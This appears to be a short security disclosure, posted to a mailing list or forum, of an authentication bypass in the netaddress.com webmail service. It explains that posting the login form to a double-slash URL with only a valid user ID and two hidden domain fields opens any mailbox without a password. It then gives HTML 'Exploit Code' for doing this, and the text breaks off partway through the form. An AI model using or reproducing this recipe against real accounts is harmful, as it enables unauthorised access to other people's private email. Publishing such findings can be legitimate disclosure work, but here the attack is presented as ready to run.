Hi,

Vulnerable
==========
netaddress.com mailing service

This mail is Continuation of the previous mails i sent regarding security flaw in netaddress.com, which will open anybody's mailbox with out password.

i got a mail with attached html page. which is nothing but saved html home page of netaddress.com(old one).Itz old home page design. when i submit the form without password it opened the mail box. Yes it opens every mail box without password. All you need is valid netaddress id.

Problem:

While submitting the login form to /tpl/Door/Login it needs just only three parameters maidid, domainid(value=4), domain(value=usa.net). Create a html file which contains all the three parameters. sumit the form to http://netaddress.com//tpl/door/login . Note that give double slash after neraddress.com. while i tried with single slash it didn`t work.

Here is the Exploit code(save this as html and run it in local. Submit only with userid)

Exploit Code:

<html>
<form name="loginform"
action="http://classic.netaddress.com//tpl/Door/LoginPost"; method="POST" target=_blank>
<input type="hidden" name="LoginState" value="2">

           <input type="hidden" name="DomainID" value="4">
            <input type="hidden" name="Domain" value="usa.net">
